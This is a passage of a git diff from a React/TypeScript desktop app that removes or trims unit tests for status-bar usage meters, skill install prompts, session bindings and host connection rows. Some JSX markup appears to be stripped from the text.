a/src/renderer/src/components/skills/SkillFreshnessNudge.test.tsx +++ b/src/renderer/src/components/skills/SkillFreshnessNudge.test.tsx @@ -109,32 +109,6 @@ describe('SkillFreshnessNudge', () => { container = null }) - it('lingers without an auto-close timer or auto-close dismissal write', async () => { - await renderNudge() - - expect(mocks.toastInfo).toHaveBeenCalledTimes(1) - const options = mocks.toastInfo.mock.calls[0]?.[1] - expect(options.duration).toBe(Number.POSITIVE_INFINITY) - expect(options.onAutoClose).toBeUndefined() - expect(mocks.updateSettings).not.toHaveBeenCalled() - }) - - it('counts only skills the plan would update', async () => { - mocks.plan = planOf([ - sharedEntry('orca-cli', 'update'), - sharedEntry('computer-use', 'keep'), - planEntry('orchestration', [ - planOp('keep', '/home/u/.agents/skills/orchestration'), - planOp('leave', '/home/u/.claude/skills/orchestration', { reason: 'edited' }) - ]) - ]) - await renderNudge() - - expect(mocks.toastInfo).toHaveBeenCalledTimes(1) - expect(mocks.toastInfo.mock.calls[0]?.[0]).toBe('An installed Orca skill is out of date') - expect(mocks.toastInfo.mock.calls[0]?.[1].description).toContain('Update orca-cli so') - }) - it('raises no nudge when the plan only links a newly detected agent', async () => { mocks.plan = planOf([ planEntry('orca-cli', [ @@ -235,12 +209,4 @@ describe('SkillFreshnessNudge', () => { expect(mocks.toastInfo).toHaveBeenCalledTimes(1) }) - - it('waits for persisted settings before deciding whether to nudge', async () => { - mocks.settingsLoaded = false - - await renderNudge() - - expect(mocks.toastInfo).not.toHaveBeenCalled() - }) }) diff --git a/src/renderer/src/components/skills/skill-install-provider-groups.test.ts b/src/renderer/src/components/skills/skill-install-provider-groups.test.ts deleted file mode 100644 index be1487e0ba7..00000000000 --- a/src/renderer/src/components/skills/skill-install-provider-groups.test.ts +++ /dev/null @@ -1,60 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { - defaultSelectedSkillProviders, - groupSkillInstallProviders, - skillProviderDirectoryLabel, - toggledSkillProviderSelection -} from './skill-install-provider-groups' - -describe('groupSkillInstallProviders', () => { - it('separates agents that read the canonical root from agents with their own', () => { - const workspace = groupSkillInstallProviders('workspace') - const global = groupSkillInstallProviders('global') - expect(workspace.canonical.map((provider) => provider.id)).toContain('codex') - expect(global.canonical.map((provider) => provider.id)).toContain('codex') - expect(workspace.selectable.map((choice) => choice.provider.id)).toContain('claude') - expect(workspace.selectable.map((choice) => choice.provider.id)).not.toContain('codex') - expect(global.selectable.map((choice) => choice.provider.id)).not.toContain('codex') - }) - - it('moves an agent between the groups when the scope changes', () => { - expect(groupSkillInstallProviders('workspace').canonical.map((p) => p.id)).toContain('cursor') - expect(groupSkillInstallProviders('global').selectable.map((c) => c.provider.id)).toContain( - 'cursor' - ) - }) - - it('labels a directory relative to the scope it is shown under', () => { - expect(skillProviderDirectoryLabel(['.claude', 'skills'], 'workspace')).toBe('.claude/skills') - expect(skillProviderDirectoryLabel(['.claude', 'skills'], 'global')).toBe('~/.claude/skills') - }) -}) - -describe('defaultSelectedSkillProviders', () => { - it('starts with the agents the machine actually has', () => { - const selected = defaultSelectedSkillProviders(['claude', 'codex', 'unrelated-tool']) - expect([...selected]).toEqual(['codex', 'claude']) - }) - - // Unavailable detection is unknown, not proof that no agents are installed. - it('falls back to every agent when detection is unavailable', () => { - const selected = defaultSelectedSkillProviders(null) - expect(selected.has('claude')).toBe(true) - expect(selected.has('aug')).toBe(true) - }) - - it('selects nothing extra when the machine has no known agent', () => { - expect([...defaultSelectedSkillProviders([])]).toEqual([]) - }) - - it('adds and removes one agent at a time', () => { - const withoutClaude = toggledSkillProviderSelection( - defaultSelectedSkillProviders(null), - 'claude', - false - ) - expect(withoutClaude.has('claude')).toBe(false) - expect(withoutClaude.has('codex')).toBe(true) - expect(toggledSkillProviderSelection(withoutClaude, 'claude', true).has('claude')).toBe(true) - }) -}) diff --git a/src/renderer/src/components/sparse/SparseDirectoryPicker.tsx b/src/renderer/src/components/sparse/SparseDirectoryPicker.tsx index d79c6ad1159..e4cb5af086e 100644 --- a/src/renderer/src/components/sparse/SparseDirectoryPicker.tsx +++ b/src/renderer/src/components/sparse/SparseDirectoryPicker.tsx @@ -1,5 +1,6 @@ import { useCallback, useEffect, useMemo, useState } from 'react' -import { ChevronRight, ChevronsUpDown, Folder, LoaderCircle, Plus } from 'lucide-react' +import { ChevronRight, ChevronsUpDown, LoaderCircle, Plus } from 'lucide-react' +import { FolderIcon } from '@/components/FileTypeIcon' import { Button } from '@/components/ui/button' import { Command, @@ -216,7 +217,11 @@ export function SparseDirectoryPicker({ disabled={alreadySelected} onSelect={() => commit(path)} > - + {entry.name} {alreadySelected ? ( diff --git a/src/renderer/src/components/stats/CodexUsagePane.test.tsx b/src/renderer/src/components/stats/CodexUsagePane.test.tsx deleted file mode 100644 index ebedfd4a849..00000000000 --- a/src/renderer/src/components/stats/CodexUsagePane.test.tsx +++ /dev/null @@ -1,115 +0,0 @@ -// @vitest-environment happy-dom - -import '@testing-library/jest-dom/vitest' - -import { cleanup, render, screen } from '@testing-library/react' -import { afterEach, describe, expect, it, vi } from 'vitest' -import type { CodexUsageSummary } from '../../../../shared/codex-usage-types' -import type { AppState } from '../../store' -import { CodexUsagePane } from './CodexUsagePane' - -const noop = vi.fn() - -let currentSummary: CodexUsageSummary | null = null - -const mockStoreState = { - codexUsageScanState: { - enabled: true, - isScanning: false, - lastScanStartedAt: 1, - lastScanCompletedAt: 2, - lastScanError: null, - hasAnyCodexData: true - }, - get codexUsageSummary() { - return currentSummary - }, - codexUsageDaily: [], - codexUsageModelBreakdown: [], - codexUsageProjectBreakdown: [], - codexUsageRecentSessions: [], - codexUsageScope: 'orca', - codexUsageRange: '30d', - fetchCodexUsage: noop, - setCodexUsageEnabled: noop, - refreshCodexUsage: noop, - setCodexUsageScope: noop, - setCodexUsageRange: noop, - recordFeatureInteraction: noop -} satisfies Partial - -vi.mock('../../store', () => ({ - useAppStore: (selector: (state: Partial) => unknown) => selector(mockStoreState) -})) - -vi.mock('./CodexUsageDetails', () => ({ - CodexUsageDetails: () =>
details
-})) - -vi.mock('./ShareUsageButton', () => ({ - ShareUsageButton: () => -})) - -vi.mock('@/i18n/i18n', () => ({ - getIntlLocale: () => 'en', - translate: (_key: string, fallback: string) => fallback -})) - -function summaryWithUnpriced( - hasUnpricedModels: boolean, - estimatedCostUsd: number | null = 12.5 -): CodexUsageSummary { - return { - scope: 'orca', - range: '30d', - sessions: 1, - events: 1, - inputTokens: 1000, - cachedInputTokens: 400, - outputTokens: 250, - reasoningOutputTokens: 100, - totalTokens: 1250, - estimatedCostUsd, - hasUnpricedModels, - topModel: 'gpt-6-astra', - topProject: 'Repo', - hasAnyCodexData: true - } -} - -afterEach(() => { - currentSummary = null - cleanup() -}) - -describe('CodexUsagePane estimated cost card', () => { - it('qualifies the total when a named model has no pricing entry', () => { - currentSummary = summaryWithUnpriced(true) - - render() - - expect( - screen.getByText('Est. API-equivalent cost • excludes unpriced models') - ).toBeInTheDocument() - expect(screen.getByText('$12.50')).toBeInTheDocument() - }) - - it('drops the caveat when no model was priced, since there is no remainder to exclude', () => { - currentSummary = summaryWithUnpriced(true, null) - - render() - - expect(screen.getByText('Est. API-equivalent cost')).toBeInTheDocument() - expect(screen.queryByText(/excludes unpriced models/)).not.toBeInTheDocument() - expect(screen.getByText('n/a')).toBeInTheDocument() - }) - - it('leaves the total unqualified when every model is priced', () => { - currentSummary = summaryWithUnpriced(false) - - render() - - expect(screen.getByText('Est. API-equivalent cost')).toBeInTheDocument() - expect(screen.queryByText(/excludes unpriced models/)).not.toBeInTheDocument() - }) -}) diff --git a/src/renderer/src/components/status-bar/NativeChatResumeStatusSegment.test.tsx b/src/renderer/src/components/status-bar/NativeChatResumeStatusSegment.test.tsx index ab3f187c5fe..6935e374507 100644 --- a/src/renderer/src/components/status-bar/NativeChatResumeStatusSegment.test.tsx +++ b/src/renderer/src/components/status-bar/NativeChatResumeStatusSegment.test.tsx @@ -149,14 +149,6 @@ describe('NativeChatResumeStatusSegment', () => { expect(screen.queryByText(/failed to resume/)).toBeNull() }) - it('names a single chat in the singular', async () => { - rpc.mockResolvedValue({ sessions: candidates.slice(0, 1) }) - await mount() - - expect(screen.getByRole('button', { name: '1 chat available to resume' })).toBeTruthy() - expect(screen.getByText('1 chat to resume')).toBeTruthy() - }) - // The count can lag the host — another window may have dismissed the offer. The re-read decides. it('does not reopen the dialog when the host no longer offers anything', async () => { rpc.mockResolvedValueOnce({ sessions: candidates }).mockResolvedValue({ sessions: [] }) @@ -244,14 +236,6 @@ describe('NativeChatResumeStatusSegment', () => { expect(screen.queryByRole('button')).toBeNull() }) - it('renders a compact count in icon-only mode', async () => { - rpc.mockResolvedValue({ sessions: candidates }) - await mount(true) - - expect(screen.getByRole('button').textContent).toContain('2') - expect(screen.queryByText('2 chats to resume')).toBeNull() - }) - it('keeps run-only uncertainty reachable until its viewed summary is closed', async () => { rpc.mockResolvedValue({ sessions: [candidates[0]], failed: [] }) await mount() diff --git a/src/renderer/src/components/status-bar/ResourceUsageStatusSegment.rows.test.tsx b/src/renderer/src/components/status-bar/ResourceUsageStatusSegment.rows.test.tsx deleted file mode 100644 index 82dd17915ff..00000000000 --- a/src/renderer/src/components/status-bar/ResourceUsageStatusSegment.rows.test.tsx +++ /dev/null @@ -1,177 +0,0 @@ -// @vitest-environment happy-dom - -import React, { act } from 'react' -import { createRoot, type Root } from 'react-dom/client' -import { afterEach, describe, expect, it, vi } from 'vitest' -import { ORPHAN_WORKTREE_ID } from '../../../../shared/constants' -import type { BrowserWorkspace } from '../../../../shared/browser-workspace-types' -import type { UnifiedSessionRow, UnifiedWorktreeRow } from './resource-usage-merge-types' - -vi.mock('@/store', () => { - const storeState = {} - const useAppStore = Object.assign( - (selector: (state: typeof storeState) => unknown) => selector(storeState), - { getState: () => storeState } - ) - return { useAppStore } -}) - -vi.mock('@/components/ui/tooltip', () => ({ - Tooltip: ({ children }: { children: React.ReactNode }) => <>{children}, - TooltipContent: ({ children }: { children: React.ReactNode }) => <>{children}, - TooltipTrigger: ({ children }: { children: React.ReactNode }) => <>{children} -})) - -vi.mock('@/i18n/i18n', () => ({ - i18n: { language: 'en' }, - translate: (_key: string, fallback: string, values?: Record) => - values - ? Object.entries(values).reduce( - (text, [token, value]) => text.replace(`{{${token}}}`, value), - fallback - ) - : fallback -})) - -vi.mock('sonner', () => ({ - toast: { error: vi.fn(), success: vi.fn() } -})) - -import { WorktreeRow } from './ResourceUsageStatusSegment' - -function makeSession(overrides: Partial): UnifiedSessionRow { - return { - sessionId: 'sess-1', - paneKey: null, - pid: 100, - label: 'zsh', - bound: true, - agentOwnership: 'absent' as const, - tabId: 'tab-1', - cpu: 1, - memory: 100, - hasLocalSamples: true, - ...overrides - } -} - -function makeWorktree(overrides: Partial): UnifiedWorktreeRow { - return { - worktreeId: 'wt-1', - worktreeName: 'feature-branch', - repoId: 'repo-1', - repoName: 'repo', - cpu: 1, - memory: 100, - history: [], - hasLocalSamples: true, - isRemote: false, - sessions: [], - browsers: [], - ...overrides - } -} - -describe('resource manager row presentation', () => { - let container: HTMLDivElement - let root: Root - - afterEach(() => { - act(() => { - root.unmount() - }) - container.remove() - }) - - function renderWorktreeRow(worktree: UnifiedWorktreeRow): void { - container = document.createElement('div') - document.body.appendChild(container) - root = createRoot(container) - act(() => { - root.render( - {}} - onNavigate={() => {}} - onDelete={() => {}} - onKillSession={() => {}} - navigateToTab={() => {}} - /> - ) - }) - } - - it('keeps the remote chip and kill affordances on SSH-backed rows', () => { - renderWorktreeRow( - makeWorktree({ - isRemote: true, - cpu: null, - memory: null, - sessions: [ - makeSession({ sessionId: 'ssh-a', bound: true }), - makeSession({ sessionId: 'ssh-b', bound: false, tabId: null, cpu: null, memory: null }) - ] - }) - ) - - expect(container.textContent).toContain('· remote') - const killButtons = container.querySelectorAll('button[aria-label^="Kill session"]') - expect(killButtons).toHaveLength(2) - expect(container.querySelector('button[aria-label="Kill session ssh-a"]')).not.toBeNull() - expect(container.querySelector('button[aria-label="Kill session ssh-b"]')).not.toBeNull() - }) - - it("names the server and offers no kill on a paired server's own samples", () => { - renderWorktreeRow( - makeWorktree({ - isRemote: true, - hostLabel: 'Lab box', - sessions: [makeSession({ sessionId: 'server-a', bound: false, readOnly: true })] - }) - ) - - expect(container.textContent).toContain('· Lab box') - expect(container.textContent).not.toContain('· remote') - expect(container.querySelector('button[aria-label^="Kill session"]')).toBeNull() - }) - - it('keeps kill affordances on the orphan bucket rows', () => { - renderWorktreeRow( - makeWorktree({ - worktreeId: ORPHAN_WORKTREE_ID, - worktreeName: 'Orphaned terminals', - sessions: [makeSession({ sessionId: 'orphan-a', bound: false, tabId: null })] - }) - ) - - expect(container.querySelector('button[aria-label="Kill session orphan-a"]')).not.toBeNull() - }) - - it('shows browsers as read-only workspace resources', () => { - renderWorktreeRow( - makeWorktree({ - browsers: [ - { - id: 'browser-1', - worktreeId: 'wt-1', - title: 'Orca docs', - url: 'https://docs.orca.dev', - loading: false, - faviconUrl: null, - canGoBack: false, - canGoForward: false, - loadError: null, - createdAt: 1 - } as BrowserWorkspace - ] - }) - ) - - expect(container.textContent).toContain('Orca docs') - expect(container.querySelector('.lucide-globe')).not.toBeNull() - expect(container.querySelector('button[aria-label^="Open browser"]')).toBeNull() - }) -}) diff --git a/src/renderer/src/components/status-bar/RuntimeHostStatusRow.test.tsx b/src/renderer/src/components/status-bar/RuntimeHostStatusRow.test.tsx index daefb0651ab..818bd3cde4c 100644 --- a/src/renderer/src/components/status-bar/RuntimeHostStatusRow.test.tsx +++ b/src/renderer/src/components/status-bar/RuntimeHostStatusRow.test.tsx @@ -1,7 +1,7 @@ // @vitest-environment happy-dom import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react' -import { renderToStaticMarkup } from 'react-dom/server' + import type { ReactNode } from 'react' import { afterEach, describe, expect, it, vi } from 'vitest' import { RuntimeHostStatusRow } from './RuntimeHostStatusRow' @@ -38,104 +38,6 @@ vi.mock('@/components/ui/dropdown-menu', () => ({ afterEach(cleanup) describe('RuntimeHostStatusRow', () => { - it('renders reconnecting diagnostics for remote hosts', () => { - const markup = renderToStaticMarkup( - - ) - - expect(markup).toContain('Dev Box') - expect(markup).toContain('Reconnecting') - expect(markup).toContain('Attempt 3') - }) - - it('renders disconnected hosts with a connect action', () => { - const markup = renderToStaticMarkup( - {}} - /> - ) - - expect(markup).toContain('Dev Box') - expect(markup).toContain('Remote Server') - expect(markup).toContain('Disconnected') - expect(markup).toContain('Last closed: 1006') - expect(markup).toContain('Connect') - }) - - it('names the closed workspace window while keeping the disconnect action', () => { - const markup = renderToStaticMarkup( - {}} - onDisconnect={async () => {}} - /> - ) - - expect(markup).toContain('Dev Box') - expect(markup).toContain('Workspace window closed') - expect(markup).toContain('Disconnect') - expect(markup).not.toContain('>Connect') - // The host is still reachable — the row must not read as a lost connection. - expect(markup).not.toContain('Disconnected') - // Require the disconnect handler; a connect-only row must offer no action for an already reachable host. - expect( - renderToStaticMarkup( - {}} - /> - ) - ).not.toContain(' { - const markup = renderToStaticMarkup( - {}} /> - ) - - expect(markup).toContain('Dev Box') - expect(markup).toContain('Connected') - expect(markup).toContain('Disconnect') - }) - - it('renders transport-up runtime-unavailable hosts without implying process death', () => { - const { container } = render( - {}} - /> - ) - - expect(container.textContent).toContain('Orca unavailable') - expect(container.textContent).toContain('SSH transport is connected') - expect(container.textContent).toContain('may still be running') - expect(container.textContent).toContain('Disconnect') - expect(container.textContent).not.toContain('exited') - }) - - it('keeps healthy rows free of a submenu trigger', () => { - const { container } = render() - - expect(container.querySelector('[data-slot="dropdown-menu-sub-trigger"]')).toBeNull() - }) - - it('renders failing rows as submenu triggers', () => { - const { container } = render( - - ) - - const trigger = container.querySelector('[data-slot="dropdown-menu-sub-trigger"]') - expect(trigger).not.toBeNull() - expect(trigger?.querySelector('button')).toBeNull() - }) - it('keeps the row action invokable for failing hosts', async () => { const onConnect = vi.fn(async () => {}) render( @@ -151,51 +53,4 @@ describe('RuntimeHostStatusRow', () => { await waitFor(() => expect(onConnect).toHaveBeenCalledOnce()) }) - - it('renders a long raw error in full inside the submenu', () => { - const longError = `Invalid remote endpoint: ${'wss://relay.example.test/path/'.repeat(8)}` - const { container } = render( - - ) - - const submenu = container.querySelector('[data-slot="dropdown-menu-sub-content"]') - expect(submenu).not.toBeNull() - expect(submenu?.textContent).toContain(longError) - }) - - it('shows the existing connection diagnostics in the submenu', () => { - const { container } = render( - - ) - - const submenu = container.querySelector('[data-slot="dropdown-menu-sub-content"]') - expect(submenu?.textContent).toContain('Last connected') - expect(submenu?.textContent).toContain('Attempt 3') - }) }) diff --git a/src/renderer/src/components/status-bar/UsagePercentageDisplayChangeNotice.test.tsx b/src/renderer/src/components/status-bar/UsagePercentageDisplayChangeNotice.test.tsx index 22ae3f98bcb..4be8fdd6f3c 100644 --- a/src/renderer/src/components/status-bar/UsagePercentageDisplayChangeNotice.test.tsx +++ b/src/renderer/src/components/status-bar/UsagePercentageDisplayChangeNotice.test.tsx @@ -4,7 +4,6 @@ import { act, Profiler } from 'react' import { createRoot, type Root } from 'react-dom/client' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { UsagePercentageDisplayChangeNotice } from './UsagePercentageDisplayChangeNotice' -import { USAGE_PERCENTAGE_DISPLAY_SETTING_ID } from '../settings/appearance-usage-percentage-search' type ResizeObserverStub = { cb: ResizeObserverCallback; targets: Element[] } const resizeObservers: ResizeObserverStub[] = [] @@ -97,145 +96,6 @@ describe('UsagePercentageDisplayChangeNotice', () => { vi.restoreAllMocks() }) - it('portals the callout above the usage-meter anchor after a short delay', () => { - act(() => { - root.render( - - usage-meters - - ) - }) - - expect(document.querySelector('.status-bar-change-notice-card')).toBeNull() - act(() => { - vi.advanceTimersByTime(1_800) - }) - const card = document.querySelector('.status-bar-change-notice-card') as HTMLElement | null - expect(card).not.toBeNull() - expect(card?.parentElement).toBe(document.body) - expect(card?.style.left).toBe('24px') - expect(card?.style.bottom).toBeTruthy() - expect(document.body.textContent).toContain('Usage now shows % used') - expect(container.textContent).toContain('usage-meters') - }) - - it('does not open when no usage meters are visible', () => { - act(() => { - root.render( - - usage-meters - - ) - }) - act(() => { - vi.advanceTimersByTime(2_000) - }) - expect(document.querySelector('.status-bar-change-notice-card')).toBeNull() - }) - - it('does not open when the notice was already dismissed', () => { - storeState.usagePercentageDisplayChangeNoticeDismissed = true - act(() => { - root.render( - - usage-meters - - ) - }) - act(() => { - vi.advanceTimersByTime(2_000) - }) - expect(document.querySelector('.status-bar-change-notice-card')).toBeNull() - }) - - it('does not open while another modal is open', () => { - storeState.activeModal = 'feature-tips' - act(() => { - root.render( - - usage-meters - - ) - }) - act(() => { - vi.advanceTimersByTime(2_000) - }) - expect(document.querySelector('.status-bar-change-notice-card')).toBeNull() - }) - - it('deep-links to the Usage percentages setting without a search filter', () => { - const callOrder: string[] = [] - storeState.openSettingsPage = vi.fn(() => { - callOrder.push('openSettingsPage') - }) - storeState.openSettingsTarget = vi.fn(() => { - callOrder.push('openSettingsTarget') - }) - storeState.dismissUsagePercentageDisplayChangeNotice = vi.fn() - - act(() => { - root.render( - - usage-meters - - ) - }) - act(() => { - vi.advanceTimersByTime(1_800) - }) - - const openSettingsButton = Array.from( - document.querySelectorAll('.status-bar-change-notice-card button') - ).find((button) => button.textContent === 'Open Settings') - expect(openSettingsButton).toBeTruthy() - act(() => { - openSettingsButton?.dispatchEvent(new MouseEvent('click', { bubbles: true })) - }) - - expect(callOrder).toEqual(['openSettingsPage', 'openSettingsTarget']) - expect(storeState.openSettingsTarget).toHaveBeenCalledWith({ - pane: 'appearance', - repoId: null, - sectionId: USAGE_PERCENTAGE_DISPLAY_SETTING_ID - }) - expect(storeState.dismissUsagePercentageDisplayChangeNotice).toHaveBeenCalled() - }) - - it('dismisses from the X button', () => { - openNotice() - - const dismissButton = document.querySelector( - '.status-bar-change-notice-card button[aria-label="Dismiss"]' - ) - expect(dismissButton).toBeTruthy() - act(() => { - dismissButton?.dispatchEvent(new MouseEvent('click', { bubbles: true })) - }) - expect(storeState.dismissUsagePercentageDisplayChangeNotice).toHaveBeenCalledTimes(1) - }) - - it('dismisses from Got it', () => { - openNotice() - - const gotItButton = Array.from( - document.querySelectorAll('.status-bar-change-notice-card button') - ).find((button) => button.textContent === 'Got it') - expect(gotItButton).toBeTruthy() - act(() => { - gotItButton?.dispatchEvent(new MouseEvent('click', { bubbles: true })) - }) - expect(storeState.dismissUsagePercentageDisplayChangeNotice).toHaveBeenCalledTimes(1) - }) - - it('dismisses on Escape', () => { - openNotice() - - act(() => { - window.dispatchEvent(new KeyboardEvent('keydown', { key: 'Escape', bubbles: true })) - }) - expect(storeState.dismissUsagePercentageDisplayChangeNotice).toHaveBeenCalledTimes(1) - }) - it('does not re-render on ResizeObserver deliveries with unchanged geometry', () => { let commits = 0 act(() => { @@ -266,18 +126,4 @@ describe('UsagePercentageDisplayChangeNotice', () => { // Equal-geometry deliveries must reuse state instead of adding a render per observer callback. expect(commits - commitsAfterOpen).toBeLessThanOrEqual(1) }) - - function openNotice(): void { - act(() => { - root.render( - - usage-meters - - ) - }) - act(() => { - vi.advanceTimersByTime(1_800) - }) - expect(document.querySelector('.status-bar-change-notice-card')).not.toBeNull() - } }) diff --git a/src/renderer/src/components/status-bar/claude-status-sign-in.test.tsx b/src/renderer/src/components/status-bar/claude-status-sign-in.test.tsx index a7ac003d48c..536b5241662 100644 --- a/src/renderer/src/components/status-bar/claude-status-sign-in.test.tsx +++ b/src/renderer/src/components/status-bar/claude-status-sign-in.test.tsx @@ -164,20 +164,6 @@ describe('status bar Claude account that needs a sign-in', () => { expect(toastError).not.toHaveBeenCalled() }) - it('does not repeat its sign-in note with a usage sign-in line', async () => { - const unavailable = (accountId: string): unknown => ({ - accountId, - isFetching: false, - rateLimits: { ...claudeProvider, status: 'error', error: 'Not signed in' } - }) - inactiveClaudeAccounts = [unavailable('old'), unavailable('new')] - await openAccounts() - expect(screen.getByText('Sign in again to use this account')).toBeTruthy() - expect(screen.getAllByText('Sign in to see usage')).toHaveLength(1) - const newRow = screen.getAllByText('new@example.com').at(-1)!.closest('[role="menuitem"]') - expect(newRow?.textContent).toContain('Sign in to see usage') - }) - it('does not ask an idle account whose usage token expired overnight to sign in', async () => { inactiveClaudeAccounts = [ { @@ -201,13 +187,6 @@ describe('status bar Claude account that needs a sign-in', () => { expect(newRow?.textContent).toContain('Updates when Claude runs') }) - it('says why a failed sign-in failed', async () => { - reauthenticate.mockRejectedValueOnce(new Error('Claude login exited with code 1.')) - await openAccounts() - fireEvent.click(screen.getByRole('button', { name: /Sign in/ })) - await waitFor(() => expect(toastError).toHaveBeenCalledTimes(1)) - }) - it('keeps the account list in the usage roster when the selected account needs a sign-in', async () => { const { ClaudeSwitcherMenu } = await import('./ClaudeSwitcherMenu') const { UsageRosterPanel } = await import('./UsageRosterPanel') diff --git a/src/renderer/src/components/status-bar/provider-segment-monthly-window.test.tsx b/src/renderer/src/components/status-bar/provider-segment-monthly-window.test.tsx index 302b4546fd7..98815f463e8 100644 --- a/src/renderer/src/components/status-bar/provider-segment-monthly-window.test.tsx +++ b/src/renderer/src/components/status-bar/provider-segment-monthly-window.test.tsx @@ -30,46 +30,7 @@ function windowOf( return { usedPercent, windowMinutes, resetsAt, resetDescription: null } } -// Grok unified-billing accounts surface a monthly window and nothing else. -function grokMonthlyLimits(status: ProviderRateLimits['status']): ProviderRateLimits { - return { - provider: 'grok', - session: null, - weekly: null, - monthly: windowOf(25, 43200), - updatedAt: Date.now(), - error: null, - status - } -} - describe('ProviderSegment monthly window', () => { - it('renders a monthly-only snapshot in the chip instead of a bare icon', async () => { - const { ProviderSegment } = await import('./StatusBar') - - const markup = renderToStaticMarkup( - - ) - - expect(markup).toContain('>25% 30d<') - }) - - it('shows monthly data while fetching instead of the loading placeholder', async () => { - const { ProviderSegment } = await import('./StatusBar') - - const markup = renderToStaticMarkup( - - ) - - expect(markup).toContain('>25% 30d<') - expect(markup).not.toContain('···') - }) - it('shows only the highest-used window when several windows exist', async () => { const { ProviderSegment } = await import('./StatusBar') @@ -78,7 +39,7 @@ describe('ProviderSegment monthly window', () => { session: windowOf(10, 300), weekly: windowOf(20, 10080), monthly: windowOf(30, 43200), - updatedAt: Date.now(), + updatedAt: 0, error: null, status: 'ok' } @@ -101,7 +62,7 @@ describe('ProviderSegment monthly window', () => { { ...windowOf(25, 300), name: 'Flash' }, { ...windowOf(80, 300), name: 'Pro' } ], - updatedAt: Date.now(), + updatedAt: 0, error: null, status: 'ok' } @@ -113,74 +74,6 @@ describe('ProviderSegment monthly window', () => { expect(markup).toContain('>80% Pro<') expect(markup).not.toContain('>25%') }) - - // Keep the chip’s countdown consistent with the popup for the same resetsAt. - it('shows remaining session time on the chip when resetsAt is known (repro-8378)', async () => { - const { ProviderSegment } = await import('./StatusBar') - const now = 1_700_000_000_000 - const dateNow = vi.spyOn(Date, 'now').mockReturnValue(now) - const remainingMs = 2 * 60 * 60_000 + 33 * 60_000 - - try { - const limits: ProviderRateLimits = { - provider: 'codex', - session: windowOf(42, 300, now + remainingMs), - weekly: windowOf(10, 10080, now + 6 * 24 * 60 * 60_000), - updatedAt: now, - error: null, - status: 'ok' - } - const markup = renderToStaticMarkup( - - ) - - expect(markup).toContain('>42% 2h 33m<') - expect(markup).not.toContain('5h') - // The consolidated footer intentionally renders only the tightest window. - expect(markup).not.toContain('>10%') - expect(markup).not.toContain('wk') - } finally { - dateNow.mockRestore() - } - }) - - it('shows the footer bar only in verbose mode', async () => { - const { ProviderSegment } = await import('./StatusBar') - const limits = grokMonthlyLimits('ok') - - const verbose = renderToStaticMarkup( - - ) - const compact = renderToStaticMarkup( - - ) - - expect(verbose).toContain('data-usage-bar') - expect(compact).not.toContain('data-usage-bar') - }) - - it('restores every inline window in verbose mode', async () => { - const { ProviderSegment } = await import('./StatusBar') - const limits: ProviderRateLimits = { - provider: 'claude', - session: windowOf(10, 300), - weekly: windowOf(20, 10_080), - fableWeekly: windowOf(30, 10_080), - monthly: windowOf(40, 43_200), - updatedAt: Date.now(), - error: null, - status: 'ok' - } - - const markup = renderToStaticMarkup( - - ) - - expect(markup).toContain('>10% 5h<') - expect(markup).toContain('>20% wk<') - expect(markup).toContain('>30% Fable<') - expect(markup).not.toContain('>40%') - }) }) describe('undefined provider window safety (crash d2c1da69 / bb74236c)', () => { @@ -189,10 +82,11 @@ describe('undefined provider window safety (crash d2c1da69 / bb74236c)', () => { // old `s.window !== null` filter let the undefined-window section through, so // getTightestUsageSection's reduce read `.usedPercent` of undefined and crashed // the status-bar overlay (TypeError in ProviderSegment). + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: Deliberately omit session to reproduce malformed persisted provider data. const partialProvider = { provider: 'codex', weekly: windowOf(42, 10080), - updatedAt: Date.now(), + updatedAt: 0, error: null, status: 'ok' } as unknown as ProviderRateLimits // `session` omitted -> undefined at runtime diff --git a/src/renderer/src/components/status-bar/resource-session-bindings.test.ts b/src/renderer/src/components/status-bar/resource-session-bindings.test.ts index fb646551f94..30c4647a314 100644 --- a/src/renderer/src/components/status-bar/resource-session-bindings.test.ts +++ b/src/renderer/src/components/status-bar/resource-session-bindings.test.ts @@ -80,31 +80,6 @@ describe('resource session bindings', () => { expect(index.boundPtyIds.has('pty-closed')).toBe(false) }) - it('counts only daemon sessions without live or restorable tab bindings', () => { - const count = countUnboundDaemonSessions( - [ - { id: 'pty-live', cwd: '/workspace', title: 'live', agentOwnership: 'absent' as const }, - { - id: 'pty-restored', - cwd: '/workspace', - title: 'restored', - agentOwnership: 'absent' as const - }, - { id: 'pty-orphan', cwd: '/tmp', title: 'orphan', agentOwnership: 'absent' as const } - ], - { - ptyIdsByTabId: { 'tab-live': ['pty-live'] }, - tabsByWorktree: { - 'repo::/workspace': [makeTab('tab-live'), makeTab('tab-restored', 'pty-restored')] - }, - terminalLayoutsByTabId: {}, - workspaceSessionReady: true - } - ) - - expect(count).toBe(1) - }) - it('binds a session deferred for SSH reattach so it is never offered for cleanup', () => { const inputs = { ptyIdsByTabId: {}, @@ -158,32 +133,6 @@ describe('resource session bindings', () => { expect(countUnboundDaemonSessions(sessions, inputs)).toBe(1) }) - it('keeps the advertised count and the selected set identical', () => { - const inputs = { - ptyIdsByTabId: { 'tab-live': ['pty-live'] }, - tabsByWorktree: { 'repo::/workspace': [makeTab('tab-live'), makeTab('tab-ssh')] }, - terminalLayoutsByTabId: {}, - deferredSshSessionIdsByTabId: { 'tab-ssh': 'pty-deferred' }, - workspaceSessionReady: true - } - const sessions = [ - { id: 'pty-live', cwd: '/workspace', title: 'live', agentOwnership: 'absent' as const }, - { - id: 'pty-deferred', - cwd: '/workspace', - title: 'deferred', - agentOwnership: 'absent' as const - }, - { id: 'pty-agent', cwd: '/workspace', title: 'codex', agentOwnership: 'present' as const }, - { id: 'pty-orphan', cwd: '/tmp', title: 'orphan', agentOwnership: 'absent' as const } - ] - - expect(selectUnboundDaemonSessions(sessions, inputs).map((s) => s.id)).toEqual(['pty-orphan']) - expect(countUnboundDaemonSessions(sessions, inputs)).toBe( - selectUnboundDaemonSessions(sessions, inputs).length - ) - }) - it('never offers a session whose ownership could not be established', () => { // Older daemons/relays may omit ownership claims; unknown cannot establish owner absence. const inputs = { diff --git a/src/renderer/src/components/status-bar/resource-usage-folder-merge.test.ts b/src/renderer/src/components/status-bar/resource-usage-folder-merge.test.ts index 7d17862bd94..2f6dad02e4d 100644 --- a/src/renderer/src/components/status-bar/resource-usage-folder-merge.test.ts +++ b/src/renderer/src/components/status-bar/resource-usage-folder-merge.test.ts @@ -39,38 +39,6 @@ function 